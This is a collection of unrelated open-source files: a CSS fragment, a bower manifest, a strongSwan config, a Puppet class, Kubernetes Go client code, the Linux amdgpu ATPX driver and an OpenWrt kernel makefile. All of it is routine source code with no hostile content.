600; } a.light { font-weight: 400; } span.strong { font-weight: 600; } @media only screen and (max-width: 480px) { body, .no-bg { background-color: #fff !important; } .left p { text-align: left; display: inline-block } } </style> {% endblock %}
{ "pile_set_name": "Github" }
{ "name": "react-select-box", "version": "2.0.1", "homepage": "https://github.com/instructure-react/react-select-box", "authors": [ "Ethan Vizitei <[email protected]>", "Brent Burgoyne <[email protected]" ], "description": "An accessible select box component for React.", "main": "lib/select-box.js", "moduleType": [ "amd", "globals", "node" ], "keywords": [ "ui", "select", "drop-down" ], "license": "MIT", "ignore": [ "**/.*", "node_modules", "bower_components", "test", "tests" ] }
{ "pile_set_name": "Github" }
# /etc/strongswan.conf - strongSwan configuration file swanctl { load = pem pkcs1 x509 revocation constraints pubkey openssl random } charon-systemd { load = random nonce aes sha1 sha2 pem pkcs1 curve25519 gmp x509 curl revocation hmac vici kernel-netlink socket-default updown fragment_size = 1400 }
{ "pile_set_name": "Github" }
### ### config.pp, pre-installation configuration. ### class sklearn::config { ## local variables $root_dir = $::sklearn::root_dir ## build directory file { "${root_dir}/build": ensure => 'directory', } }
{ "pile_set_name": "Github" }
/* Copyright The Kubernetes Authors. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ // Code generated by client-gen. DO NOT EDIT. package v1beta1 import ( v1beta1 "k8s.io/api/authentication/v1beta1" "k8s.io/client-go/kubernetes/scheme" rest "k8s.io/client-go/rest" ) type AuthenticationV1beta1Interface interface { RESTClient() rest.Interface TokenReviewsGetter } // AuthenticationV1beta1Client is used to interact with features provided by the authentication.k8s.io group. type AuthenticationV1beta1Client struct { restClient rest.Interface } func (c *AuthenticationV1beta1Client) TokenReviews() TokenReviewInterface { return newTokenReviews(c) } // NewForConfig creates a new AuthenticationV1beta1Client for the given config. func NewForConfig(c *rest.Config) (*AuthenticationV1beta1Client, error) { config := *c if err := setConfigDefaults(&config); err != nil { return nil, err } client, err := rest.RESTClientFor(&config) if err != nil { return nil, err } return &AuthenticationV1beta1Client{client}, nil } // NewForConfigOrDie creates a new AuthenticationV1beta1Client for the given config and // panics if there is an error in the config. func NewForConfigOrDie(c *rest.Config) *AuthenticationV1beta1Client { client, err := NewForConfig(c) if err != nil { panic(err) } return client } // New creates a new AuthenticationV1beta1Client for the given RESTClient. func New(c rest.Interface) *AuthenticationV1beta1Client { return &AuthenticationV1beta1Client{c} } func setConfigDefaults(config *rest.Config) error { gv := v1beta1.SchemeGroupVersion config.GroupVersion = &gv config.APIPath = "/apis" config.NegotiatedSerializer = scheme.Codecs.WithoutConversion() if config.UserAgent == "" { config.UserAgent = rest.DefaultKubernetesUserAgent() } return nil } // RESTClient returns a RESTClient that is used to communicate // with API server by this client implementation. func (c *AuthenticationV1beta1Client) RESTClient() rest.Interface { if c == nil { return nil } return c.restClient }
{ "pile_set_name": "Github" }
/* * Copyright (c) 2010 Red Hat Inc. * Author : Dave Airlie <[email protected]> * * Licensed under GPLv2 * * ATPX support for both Intel/ATI */ #include <linux/vga_switcheroo.h> #include <linux/slab.h> #include <linux/acpi.h> #include <linux/pci.h> #include <linux/delay.h> #include "amd_acpi.h" #define AMDGPU_PX_QUIRK_FORCE_ATPX (1 << 0) struct amdgpu_px_quirk { u32 chip_vendor; u32 chip_device; u32 subsys_vendor; u32 subsys_device; u32 px_quirk_flags; }; struct amdgpu_atpx_functions { bool px_params; bool power_cntl; bool disp_mux_cntl; bool i2c_mux_cntl; bool switch_start; bool switch_end; bool disp_connectors_mapping; bool disp_detection_ports; }; struct amdgpu_atpx { acpi_handle handle; struct amdgpu_atpx_functions functions; bool is_hybrid; bool dgpu_req_power_for_displays; }; static struct amdgpu_atpx_priv { bool atpx_detected; bool bridge_pm_usable; unsigned int quirks; /* handle for device - and atpx */ acpi_handle dhandle; acpi_handle other_handle; struct amdgpu_atpx atpx; } amdgpu_atpx_priv; struct atpx_verify_interface { u16 size; /* structure size in bytes (includes size field) */ u16 version; /* version */ u32 function_bits; /* supported functions bit vector */ } __packed; struct atpx_px_params { u16 size; /* structure size in bytes (includes size field) */ u32 valid_flags; /* which flags are valid */ u32 flags; /* flags */ } __packed; struct atpx_power_control { u16 size; u8 dgpu_state; } __packed; struct atpx_mux { u16 size; u16 mux; } __packed; bool amdgpu_has_atpx(void) { return amdgpu_atpx_priv.atpx_detected; } bool amdgpu_has_atpx_dgpu_power_cntl(void) { return amdgpu_atpx_priv.atpx.functions.power_cntl; } bool amdgpu_is_atpx_hybrid(void) { return amdgpu_atpx_priv.atpx.is_hybrid; } bool amdgpu_atpx_dgpu_req_power_for_displays(void) { return amdgpu_atpx_priv.atpx.dgpu_req_power_for_displays; } #if defined(CONFIG_ACPI) void *amdgpu_atpx_get_dhandle(void) { return amdgpu_atpx_priv.dhandle; } #endif /** * amdgpu_atpx_call - call an ATPX method * * @handle: acpi handle * @function: the ATPX function to execute * @params: ATPX function params * * Executes the requested ATPX function (all asics). * Returns a pointer to the acpi output buffer. */ static union acpi_object *amdgpu_atpx_call(acpi_handle handle, int function, struct acpi_buffer *params) { acpi_status status; union acpi_object atpx_arg_elements[2]; struct acpi_object_list atpx_arg; struct acpi_buffer buffer = { ACPI_ALLOCATE_BUFFER, NULL }; atpx_arg.count = 2; atpx_arg.pointer = &atpx_arg_elements[0]; atpx_arg_elements[0].type = ACPI_TYPE_INTEGER; atpx_arg_elements[0].integer.value = function; if (params) { atpx_arg_elements[1].type = ACPI_TYPE_BUFFER; atpx_arg_elements[1].buffer.length = params->length; atpx_arg_elements[1].buffer.pointer = params->pointer; } else { /* We need a second fake parameter */ atpx_arg_elements[1].type = ACPI_TYPE_INTEGER; atpx_arg_elements[1].integer.value = 0; } status = acpi_evaluate_object(handle, NULL, &atpx_arg, &buffer); /* Fail only if calling the method fails and ATPX is supported */ if (ACPI_FAILURE(status) && status != AE_NOT_FOUND) { printk("failed to evaluate ATPX got %s\n", acpi_format_exception(status)); kfree(buffer.pointer); return NULL; } return buffer.pointer; } /** * amdgpu_atpx_parse_functions - parse supported functions * * @f: supported functions struct * @mask: supported functions mask from ATPX * * Use the supported functions mask from ATPX function * ATPX_FUNCTION_VERIFY_INTERFACE to determine what functions * are supported (all asics). */ static void amdgpu_atpx_parse_functions(struct amdgpu_atpx_functions *f, u32 mask) { f->px_params = mask & ATPX_GET_PX_PARAMETERS_SUPPORTED; f->power_cntl = mask & ATPX_POWER_CONTROL_SUPPORTED; f->disp_mux_cntl = mask & ATPX_DISPLAY_MUX_CONTROL_SUPPORTED; f->i2c_mux_cntl = mask & ATPX_I2C_MUX_CONTROL_SUPPORTED; f->switch_start = mask & ATPX_GRAPHICS_DEVICE_SWITCH_START_NOTIFICATION_SUPPORTED; f->switch_end = mask & ATPX_GRAPHICS_DEVICE_SWITCH_END_NOTIFICATION_SUPPORTED; f->disp_connectors_mapping = mask & ATPX_GET_DISPLAY_CONNECTORS_MAPPING_SUPPORTED; f->disp_detection_ports = mask & ATPX_GET_DISPLAY_DETECTION_PORTS_SUPPORTED; } /** * amdgpu_atpx_validate_functions - validate ATPX functions * * @atpx: amdgpu atpx struct * * Validate that required functions are enabled (all asics). * returns 0 on success, error on failure. */ static int amdgpu_atpx_validate(struct amdgpu_atpx *atpx) { u32 valid_bits = 0; if (atpx->functions.px_params) { union acpi_object *info; struct atpx_px_params output; size_t size; info = amdgpu_atpx_call(atpx->handle, ATPX_FUNCTION_GET_PX_PARAMETERS, NULL); if (!info) return -EIO; memset(&output, 0, sizeof(output)); size = *(u16 *) info->buffer.pointer; if (size < 10) { printk("ATPX buffer is too small: %zu\n", size); kfree(info); return -EINVAL; } size = min(sizeof(output), size); memcpy(&output, info->buffer.pointer, size); valid_bits = output.flags & output.valid_flags; kfree(info); } /* if separate mux flag is set, mux controls are required */ if (valid_bits & ATPX_SEPARATE_MUX_FOR_I2C) { atpx->functions.i2c_mux_cntl = true; atpx->functions.disp_mux_cntl = true; } /* if any outputs are muxed, mux controls are required */ if (valid_bits & (ATPX_CRT1_RGB_SIGNAL_MUXED | ATPX_TV_SIGNAL_MUXED | ATPX_DFP_SIGNAL_MUXED)) atpx->functions.disp_mux_cntl = true; /* some bioses set these bits rather than flagging power_cntl as supported */ if (valid_bits & (ATPX_DYNAMIC_PX_SUPPORTED | ATPX_DYNAMIC_DGPU_POWER_OFF_SUPPORTED)) atpx->functions.power_cntl = true; atpx->is_hybrid = false; if (valid_bits & ATPX_MS_HYBRID_GFX_SUPPORTED) { if (amdgpu_atpx_priv.quirks & AMDGPU_PX_QUIRK_FORCE_ATPX) { printk("ATPX Hybrid Graphics, forcing to ATPX\n"); atpx->functions.power_cntl = true; atpx->is_hybrid = false; } else { printk("ATPX Hybrid Graphics\n"); /* * Disable legacy PM methods only when pcie port PM is usable, * otherwise the device might fail to power off or power on. */ atpx->functions.power_cntl = !amdgpu_atpx_priv.bridge_pm_usable; atpx->is_hybrid = true; } } atpx->dgpu_req_power_for_displays = false; if (valid_bits & ATPX_DGPU_REQ_POWER_FOR_DISPLAYS) atpx->dgpu_req_power_for_displays = true; return 0; } /** * amdgpu_atpx_verify_interface - verify ATPX * * @atpx: amdgpu atpx struct * * Execute the ATPX_FUNCTION_VERIFY_INTERFACE ATPX function * to initialize ATPX and determine what features are supported * (all asics). * returns 0 on success, error on failure. */ static int amdgpu_atpx_verify_interface(struct amdgpu_atpx *atpx) { union acpi_object *info; struct atpx_verify_interface output; size_t size; int err = 0; info = amdgpu_atpx_call(atpx->handle, ATPX_FUNCTION_VERIFY_INTERFACE, NULL); if (!info) return -EIO; memset(&output, 0, sizeof(output)); size = *(u16 *) info->buffer.pointer; if (size < 8) { printk("ATPX buffer is too small: %zu\n", size); err = -EINVAL; goto out; } size = min(sizeof(output), size); memcpy(&output, info->buffer.pointer, size); /* TODO: check version? */ printk("ATPX version %u, functions 0x%08x\n", output.version, output.function_bits); amdgpu_atpx_parse_functions(&atpx->functions, output.function_bits); out: kfree(info); return err; } /** * amdgpu_atpx_set_discrete_state - power up/down discrete GPU * * @atpx: atpx info struct * @state: discrete GPU state (0 = power down, 1 = power up) * * Execute the ATPX_FUNCTION_POWER_CONTROL ATPX function to * power down/up the discrete GPU (all asics). * Returns 0 on success, error on failure. */ static int amdgpu_atpx_set_discrete_state(struct amdgpu_atpx *atpx, u8 state) { struct acpi_buffer params; union acpi_object *info; struct atpx_power_control input; if (atpx->functions.power_cntl) { input.size = 3; input.dgpu_state = state; params.length = input.size; params.pointer = &input; info = amdgpu_atpx_call(atpx->handle, ATPX_FUNCTION_POWER_CONTROL, &params); if (!info) return -EIO; kfree(info); /* 200ms delay is required after off */ if (state == 0) msleep(200); } return 0; } /** * amdgpu_atpx_switch_disp_mux - switch display mux * * @atpx: atpx info struct * @mux_id: mux state (0 = integrated GPU, 1 = discrete GPU) * * Execute the ATPX_FUNCTION_DISPLAY_MUX_CONTROL ATPX function to * switch the display mux between the discrete GPU and integrated GPU * (all asics). * Returns 0 on success, error on failure. */ static int amdgpu_atpx_switch_disp_mux(struct amdgpu_atpx *atpx, u16 mux_id) { struct acpi_buffer params; union acpi_object *info; struct atpx_mux input; if (atpx->functions.disp_mux_cntl) { input.size = 4; input.mux = mux_id; params.length = input.size; params.pointer = &input; info = amdgpu_atpx_call(atpx->handle, ATPX_FUNCTION_DISPLAY_MUX_CONTROL, &params); if (!info) return -EIO; kfree(info); } return 0; } /** * amdgpu_atpx_switch_i2c_mux - switch i2c/hpd mux * * @atpx: atpx info struct * @mux_id: mux state (0 = integrated GPU, 1 = discrete GPU) * * Execute the ATPX_FUNCTION_I2C_MUX_CONTROL ATPX function to * switch the i2c/hpd mux between the discrete GPU and integrated GPU * (all asics). * Returns 0 on success, error on failure. */ static int amdgpu_atpx_switch_i2c_mux(struct amdgpu_atpx *atpx, u16 mux_id) { struct acpi_buffer params; union acpi_object *info; struct atpx_mux input; if (atpx->functions.i2c_mux_cntl) { input.size = 4; input.mux = mux_id; params.length = input.size; params.pointer = &input; info = amdgpu_atpx_call(atpx->handle, ATPX_FUNCTION_I2C_MUX_CONTROL, &params); if (!info) return -EIO; kfree(info); } return 0; } /** * amdgpu_atpx_switch_start - notify the sbios of a GPU switch * * @atpx: atpx info struct * @mux_id: mux state (0 = integrated GPU, 1 = discrete GPU) * * Execute the ATPX_FUNCTION_GRAPHICS_DEVICE_SWITCH_START_NOTIFICATION ATPX * function to notify the sbios that a switch between the discrete GPU and * integrated GPU has begun (all asics). * Returns 0 on success, error on failure. */ static int amdgpu_atpx_switch_start(struct amdgpu_atpx *atpx, u16 mux_id) { struct acpi_buffer params; union acpi_object *info; struct atpx_mux input; if (atpx->functions.switch_start) { input.size = 4; input.mux = mux_id; params.length = input.size; params.pointer = &input; info = amdgpu_atpx_call(atpx->handle, ATPX_FUNCTION_GRAPHICS_DEVICE_SWITCH_START_NOTIFICATION, &params); if (!info) return -EIO; kfree(info); } return 0; } /** * amdgpu_atpx_switch_end - notify the sbios of a GPU switch * * @atpx: atpx info struct * @mux_id: mux state (0 = integrated GPU, 1 = discrete GPU) * * Execute the ATPX_FUNCTION_GRAPHICS_DEVICE_SWITCH_END_NOTIFICATION ATPX * function to notify the sbios that a switch between the discrete GPU and * integrated GPU has ended (all asics). * Returns 0 on success, error on failure. */ static int amdgpu_atpx_switch_end(struct amdgpu_atpx *atpx, u16 mux_id) { struct acpi_buffer params; union acpi_object *info; struct atpx_mux input; if (atpx->functions.switch_end) { input.size = 4; input.mux = mux_id; params.length = input.size; params.pointer = &input; info = amdgpu_atpx_call(atpx->handle, ATPX_FUNCTION_GRAPHICS_DEVICE_SWITCH_END_NOTIFICATION, &params); if (!info) return -EIO; kfree(info); } return 0; } /** * amdgpu_atpx_switchto - switch to the requested GPU * * @id: GPU to switch to * * Execute the necessary ATPX functions to switch between the discrete GPU and * integrated GPU (all asics). * Returns 0 on success, error on failure. */ static int amdgpu_atpx_switchto(enum vga_switcheroo_client_id id) { u16 gpu_id; if (id == VGA_SWITCHEROO_IGD) gpu_id = ATPX_INTEGRATED_GPU; else gpu_id = ATPX_DISCRETE_GPU; amdgpu_atpx_switch_start(&amdgpu_atpx_priv.atpx, gpu_id); amdgpu_atpx_switch_disp_mux(&amdgpu_atpx_priv.atpx, gpu_id); amdgpu_atpx_switch_i2c_mux(&amdgpu_atpx_priv.atpx, gpu_id); amdgpu_atpx_switch_end(&amdgpu_atpx_priv.atpx, gpu_id); return 0; } /** * amdgpu_atpx_power_state - power down/up the requested GPU * * @id: GPU to power down/up * @state: requested power state (0 = off, 1 = on) * * Execute the necessary ATPX function to power down/up the discrete GPU * (all asics). * Returns 0 on success, error on failure. */ static int amdgpu_atpx_power_state(enum vga_switcheroo_client_id id, enum vga_switcheroo_state state) { /* on w500 ACPI can't change intel gpu state */ if (id == VGA_SWITCHEROO_IGD) return 0; amdgpu_atpx_set_discrete_state(&amdgpu_atpx_priv.atpx, state); return 0; } /** * amdgpu_atpx_pci_probe_handle - look up the ATPX handle * * @pdev: pci device * * Look up the ATPX handles (all asics). * Returns true if the handles are found, false if not. */ static bool amdgpu_atpx_pci_probe_handle(struct pci_dev *pdev) { acpi_handle dhandle, atpx_handle; acpi_status status; dhandle = ACPI_HANDLE(&pdev->dev); if (!dhandle) return false; status = acpi_get_handle(dhandle, "ATPX", &atpx_handle); if (ACPI_FAILURE(status)) { amdgpu_atpx_priv.other_handle = dhandle; return false; } amdgpu_atpx_priv.dhandle = dhandle; amdgpu_atpx_priv.atpx.handle = atpx_handle; return true; } /** * amdgpu_atpx_init - verify the ATPX interface * * Verify the ATPX interface (all asics). * Returns 0 on success, error on failure. */ static int amdgpu_atpx_init(void) { int r; /* set up the ATPX handle */ r = amdgpu_atpx_verify_interface(&amdgpu_atpx_priv.atpx); if (r) return r; /* validate the atpx setup */ r = amdgpu_atpx_validate(&amdgpu_atpx_priv.atpx); if (r) return r; return 0; } /** * amdgpu_atpx_get_client_id - get the client id * * @pdev: pci device * * look up whether we are the integrated or discrete GPU (all asics). * Returns the client id. */ static enum vga_switcheroo_client_id amdgpu_atpx_get_client_id(struct pci_dev *pdev) { if (amdgpu_atpx_priv.dhandle == ACPI_HANDLE(&pdev->dev)) return VGA_SWITCHEROO_IGD; else return VGA_SWITCHEROO_DIS; } static const struct vga_switcheroo_handler amdgpu_atpx_handler = { .switchto = amdgpu_atpx_switchto, .power_state = amdgpu_atpx_power_state, .get_client_id = amdgpu_atpx_get_client_id, }; static const struct amdgpu_px_quirk amdgpu_px_quirk_list[] = { /* HG _PR3 doesn't seem to work on this A+A weston board */ { 0x1002, 0x6900, 0x1002, 0x0124, AMDGPU_PX_QUIRK_FORCE_ATPX }, { 0x1002, 0x6900, 0x1028, 0x0812, AMDGPU_PX_QUIRK_FORCE_ATPX }, { 0x1002, 0x6900, 0x1028, 0x0813, AMDGPU_PX_QUIRK_FORCE_ATPX }, { 0x1002, 0x699f, 0x1028, 0x0814, AMDGPU_PX_QUIRK_FORCE_ATPX }, { 0x1002, 0x6900, 0x1025, 0x125A, AMDGPU_PX_QUIRK_FORCE_ATPX }, { 0x1002, 0x6900, 0x17AA, 0x3806, AMDGPU_PX_QUIRK_FORCE_ATPX }, { 0, 0, 0, 0, 0 }, }; static void amdgpu_atpx_get_quirks(struct pci_dev *pdev) { const struct amdgpu_px_quirk *p = amdgpu_px_quirk_list; /* Apply PX quirks */ while (p && p->chip_device != 0) { if (pdev->vendor == p->chip_vendor && pdev->device == p->chip_device && pdev->subsystem_vendor == p->subsys_vendor && pdev->subsystem_device == p->subsys_device) { amdgpu_atpx_priv.quirks |= p->px_quirk_flags; break; } ++p; } } /** * amdgpu_atpx_detect - detect whether we have PX * * Check if we have a PX system (all asics). * Returns true if we have a PX system, false if not. */ static bool amdgpu_atpx_detect(void) { char acpi_method_name[255] = { 0 }; struct acpi_buffer buffer = {sizeof(acpi_method_name), acpi_method_name}; struct pci_dev *pdev = NULL; bool has_atpx = false; int vga_count = 0; bool d3_supported = false; struct pci_dev *parent_pdev; while ((pdev = pci_get_class(PCI_CLASS_DISPLAY_VGA << 8, pdev)) != NULL) { vga_count++; has_atpx |= (amdgpu_atpx_pci_probe_handle(pdev) == true); parent_pdev = pci_upstream_bridge(pdev); d3_supported |= parent_pdev && parent_pdev->bridge_d3; amdgpu_atpx_get_quirks(pdev); } while ((pdev = pci_get_class(PCI_CLASS_DISPLAY_OTHER << 8, pdev)) != NULL) { vga_count++; has_atpx |= (amdgpu_atpx_pci_probe_handle(pdev) == true); parent_pdev = pci_upstream_bridge(pdev); d3_supported |= parent_pdev && parent_pdev->bridge_d3; amdgpu_atpx_get_quirks(pdev); } if (has_atpx && vga_count == 2) { acpi_get_name(amdgpu_atpx_priv.atpx.handle, ACPI_FULL_PATHNAME, &buffer); pr_info("vga_switcheroo: detected switching method %s handle\n", acpi_method_name); amdgpu_atpx_priv.atpx_detected = true; amdgpu_atpx_priv.bridge_pm_usable = d3_supported; amdgpu_atpx_init(); return true; } return false; } /** * amdgpu_register_atpx_handler - register with vga_switcheroo * * Register the PX callbacks with vga_switcheroo (all asics). */ void amdgpu_register_atpx_handler(void) { bool r; enum vga_switcheroo_handler_flags_t handler_flags = 0; /* detect if we have any ATPX + 2 VGA in the system */ r = amdgpu_atpx_detect(); if (!r) return; vga_switcheroo_register_handler(&amdgpu_atpx_handler, handler_flags); } /** * amdgpu_unregister_atpx_handler - unregister with vga_switcheroo * * Unregister the PX callbacks with vga_switcheroo (all asics). */ void amdgpu_unregister_atpx_handler(void) { vga_switcheroo_unregister_handler(); }
{ "pile_set_name": "Github" }
<?php $expected = array('class x2 { /**/ } ', ); $expected_not = array('class x_magicmethod { /**/ } ', 'class x_method { /**/ } ', 'class x_empty { /**/ } ', ); ?>
{ "pile_set_name": "Github" }
# # Copyright (C) 2006-2011 OpenWrt.org # # This is free software, licensed under the GNU General Public License v2. # See /LICENSE for more information. # KERNEL_MAKEOPTS := -C $(LINUX_DIR) \ HOSTCFLAGS="$(HOST_CFLAGS) -Wall -Wmissing-prototypes -Wstrict-prototypes" \ CROSS_COMPILE="$(KERNEL_CROSS)" \ ARCH="$(LINUX_KARCH)" \ KBUILD_HAVE_NLS=no \ CONFIG_SHELL="$(BASH)" \ $(if $(findstring c,$(OPENWRT_VERBOSE)),V=1,V='') ifdef CONFIG_STRIP_KERNEL_EXPORTS KERNEL_MAKEOPTS += \ EXTRA_LDSFLAGS="-I$(KERNEL_BUILD_DIR) -include symtab.h" endif INITRAMFS_EXTRA_FILES ?= $(GENERIC_PLATFORM_DIR)/image/initramfs-base-files.txt ifneq (,$(KERNEL_CC)) KERNEL_MAKEOPTS += CC="$(KERNEL_CC)" endif export HOST_EXTRACFLAGS=-I$(STAGING_DIR_HOST)/include # defined in quilt.mk Kernel/Patch:=$(Kernel/Patch/Default) ifeq ($(strip $(CONFIG_EXTERNAL_KERNEL_TREE)),"") ifeq ($(strip $(CONFIG_KERNEL_GIT_CLONE_URI)),"") define Kernel/Prepare/Default bzcat $(DL_DIR)/$(LINUX_SOURCE) | $(TAR) -C $(KERNEL_BUILD_DIR) $(TAR_OPTIONS) $(Kernel/Patch) touch $(LINUX_DIR)/.quilt_used endef else ifeq ($(strip $(CONFIG_KERNEL_GIT_LOCAL_REPOSITORY)),"") define Kernel/Prepare/Default git clone $(CONFIG_KERNEL_GIT_CLONE_URI) $(LINUX_DIR) endef else define Kernel/Prepare/Default git clone --reference $(CONFIG_KERNEL_GIT_LOCAL_REPOSITORY) $(CONFIG_KERNEL_GIT_CLONE_URI) $(LINUX_DIR) endef endif endif else define Kernel/Prepare/Default mkdir -p $(KERNEL_BUILD_DIR) if [ -d $(LINUX_DIR) ]; then \ rmdir $(LINUX_DIR); \ fi ln -s $(CONFIG_EXTERNAL_KERNEL_TREE) $(LINUX_DIR) endef endif ifeq ($(CONFIG_TARGET_ROOTFS_INITRAMFS),y) ifeq ($(strip $(CONFIG_EXTERNAL_CPIO)),"") define Kernel/SetInitramfs mv $(LINUX_DIR)/.config $(LINUX_DIR)/.config.old grep -v -e INITRAMFS -e CONFIG_RD_ -e CONFIG_BLK_DEV_INITRD $(LINUX_DIR)/.config.old > $(LINUX_DIR)/.config echo 'CONFIG_BLK_DEV_INITRD=y' >> $(LINUX_DIR)/.config echo 'CONFIG_INITRAMFS_SOURCE="$(strip $(TARGET_DIR) $(INITRAMFS_EXTRA_FILES))"' >> $(LINUX_DIR)/.config echo 'CONFIG_INITRAMFS_ROOT_UID=$(shell id -u)' >> $(LINUX_DIR)/.config echo 'CONFIG_INITRAMFS_ROOT_GID=$(shell id -g)' >> $(LINUX_DIR)/.config echo "$(if $(CONFIG_TARGET_INITRAMFS_COMPRESSION_NONE),CONFIG_INITRAMFS_COMPRESSION_NONE=y,# CONFIG_INITRAMFS_COMPRESSION_NONE is not set)" >> $(LINUX_DIR)/.config echo -e "$(if $(CONFIG_TARGET_INITRAMFS_COMPRESSION_GZIP),CONFIG_INITRAMFS_COMPRESSION_GZIP=y\nCONFIG_RD_GZIP=y,# CONFIG_INITRAMFS_COMPRESSION_GZIP is not set\n# CONFIG_RD_GZIP is not set)" >> $(LINUX_DIR)/.config echo -e "$(if $(CONFIG_TARGET_INITRAMFS_COMPRESSION_BZIP2),CONFIG_INITRAMFS_COMPRESSION_BZIP2=y\nCONFIG_RD_BZIP2=y,# CONFIG_INITRAMFS_COMPRESSION_BZIP2 is not set\n# CONFIG_RD_BZIP2 is not set)" >> $(LINUX_DIR)/.config echo -e "$(if $(CONFIG_TARGET_INITRAMFS_COMPRESSION_LZMA),CONFIG_INITRAMFS_COMPRESSION_LZMA=y\nCONFIG_RD_LZMA=y,# CONFIG_INITRAMFS_COMPRESSION_LZMA is not set\n# CONFIG_RD_LZMA is not set)" >> $(LINUX_DIR)/.config echo -e "$(if $(CONFIG_TARGET_INITRAMFS_COMPRESSION_LZO),CONFIG_INITRAMFS_COMPRESSION_LZO=y\nCONFIG_RD_LZO=y,# CONFIG_INITRAMFS_COMPRESSION_LZO is not set\n# CONFIG_RD_LZO is not set)" >> $(LINUX_DIR)/.config echo -e "$(if $(CONFIG_TARGET_INITRAMFS_COMPRESSION_XZ),CONFIG_INITRAMFS_COMPRESSION_XZ=y\nCONFIG_RD_XZ=y,# CONFIG_INITRAMFS_COMPRESSION_XZ is not set\n# CONFIG_RD_XZ is not set)" >> $(LINUX_DIR)/.config endef else define Kernel/SetInitramfs mv $(LINUX_DIR)/.config $(LINUX_DIR)/.config.old grep -v INITRAMFS $(LINUX_DIR)/.config.old > $(LINUX_DIR)/.config echo 'CONFIG_INITRAMFS_SOURCE="$(call qstrip,$(CONFIG_EXTERNAL_CPIO))"' >> $(LINUX_DIR)/.config echo 'CONFIG_INITRAMFS_ROOT_UID=$(shell id -u)' >> $(LINUX_DIR)/.config echo 'CONFIG_INITRAMFS_ROOT_GID=$(shell id -g)' >> $(LINUX_DIR)/.config echo "$(if $(CONFIG_TARGET_INITRAMFS_COMPRESSION_NONE),CONFIG_INITRAMFS_COMPRESSION_NONE=y,# CONFIG_INITRAMFS_COMPRESSION_NONE is not set)" >> $(LINUX_DIR)/.config echo -e "$(if $(CONFIG_TARGET_INITRAMFS_COMPRESSION_GZIP),CONFIG_INITRAMFS_COMPRESSION_GZIP=y\nCONFIG_RD_GZIP=y,# CONFIG_INITRAMFS_COMPRESSION_GZIP is not set\n# CONFIG_RD_GZIP is not set)" >> $(LINUX_DIR)/.config echo -e "$(if $(CONFIG_TARGET_INITRAMFS_COMPRESSION_BZIP2),CONFIG_INITRAMFS_COMPRESSION_BZIP2=y\nCONFIG_RD_BZIP2=y,# CONFIG_INITRAMFS_COMPRESSION_BZIP2 is not set\n# CONFIG_RD_BZIP2 is not set)" >> $(LINUX_DIR)/.config echo -e "$(if $(CONFIG_TARGET_INITRAMFS_COMPRESSION_LZMA),CONFIG_INITRAMFS_COMPRESSION_LZMA=y\nCONFIG_RD_LZMA=y,# CONFIG_INITRAMFS_COMPRESSION_LZMA is not set\n# CONFIG_RD_LZMA is not set)" >> $(LINUX_DIR)/.config echo -e "$(if $(CONFIG_TARGET_INITRAMFS_COMPRESSION_LZO),CONFIG_INITRAMFS_COMPRESSION_LZO=y\nCONFIG_RD_LZO=y,# CONFIG_INITRAMFS_COMPRESSION_LZO is not set\n# CONFIG_RD_LZO is not set)" >> $(LINUX_DIR)/.config echo -e "$(if $(CONFIG_TARGET_INITRAMFS_COMPRESSION_XZ),CONFIG_INITRAMFS_COMPRESSION_XZ=y\nCONFIG_RD_XZ=y,# CONFIG_INITRAMFS_COMPRESSION_XZ is not set\n# CONFIG_RD_XZ is not set)" >> $(LINUX_DIR)/.config endef endif else define Kernel/SetInitramfs mv $(LINUX_DIR)/.config $(LINUX_DIR)/.config.old grep -v INITRAMFS $(LINUX_DIR)/.config.old > $(LINUX_DIR)/.config echo 'CONFIG_INITRAMFS_SOURCE=""' >> $(LINUX_DIR)/.config endef endif define Kernel/Configure/Default $(LINUX_CONF_CMD) > $(LINUX_DIR)/.config.target # copy CONFIG_KERNEL_* settings over to .config.target awk '/^(#[[:space:]]+)?CONFIG_KERNEL/{sub("CONFIG_KERNEL_","CONFIG_");print}' $(TOPDIR)/.config >> $(LINUX_DIR)/.config.target echo "# CONFIG_KALLSYMS_EXTRA_PASS is not set" >> $(LINUX_DIR)/.config.target echo "# CONFIG_KALLSYMS_ALL is not set" >> $(LINUX_DIR)/.config.target echo "# CONFIG_KPROBES is not set" >> $(LINUX_DIR)/.config.target $(SCRIPT_DIR)/metadata.pl kconfig $(TMP_DIR)/.packageinfo $(TOPDIR)/.config > $(LINUX_DIR)/.config.override $(SCRIPT_DIR)/kconfig.pl 'm+' '+' $(LINUX_DIR)/.config.target /dev/null $(LINUX_DIR)/.config.override > $(LINUX_DIR)/.config $(call Kernel/SetInitramfs) rm -rf $(KERNEL_BUILD_DIR)/modules [ -d $(LINUX_DIR)/user_headers ] || $(MAKE) $(KERNEL_MAKEOPTS) INSTALL_HDR_PATH=$(LINUX_DIR)/user_headers headers_install #$(SH_FUNC) grep '=[ym]' $(LINUX_DIR)/.config | LC_ALL=C sort | md5s > $(LINUX_DIR)/.vermagic echo 'openwrtyun1' > $(LINUX_DIR)/.vermagic endef define Kernel/CompileModules/Default rm -f $(LINUX_DIR)/vmlinux $(LINUX_DIR)/System.map +$(MAKE) $(KERNEL_MAKEOPTS) modules endef OBJCOPY_STRIP = -R .reginfo -R .notes -R .note -R .comment -R .mdebug -R .note.gnu.build-id define Kernel/CompileImage/Default $(if $(CONFIG_TARGET_ROOTFS_INITRAMFS),,rm -f $(TARGET_DIR)/init) +$(MAKE) $(KERNEL_MAKEOPTS) $(subst ",,$(KERNELNAME)) $(KERNEL_CROSS)objcopy -O binary $(OBJCOPY_STRIP) -S $(LINUX_DIR)/vmlinux $(LINUX_KERNEL) $(KERNEL_CROSS)objcopy $(OBJCOPY_STRIP) -S $(LINUX_DIR)/vmlinux $(KERNEL_BUILD_DIR)/vmlinux.elf endef define Kernel/Clean/Default rm -f $(KERNEL_BUILD_DIR)/linux-$(LINUX_VERSION)/.configured rm -f $(LINUX_KERNEL) $(_SINGLE)$(MAKE) -C $(KERNEL_BUILD_DIR)/linux-$(LINUX_VERSION) clean endef
{ "pile_set_name": "Github" }
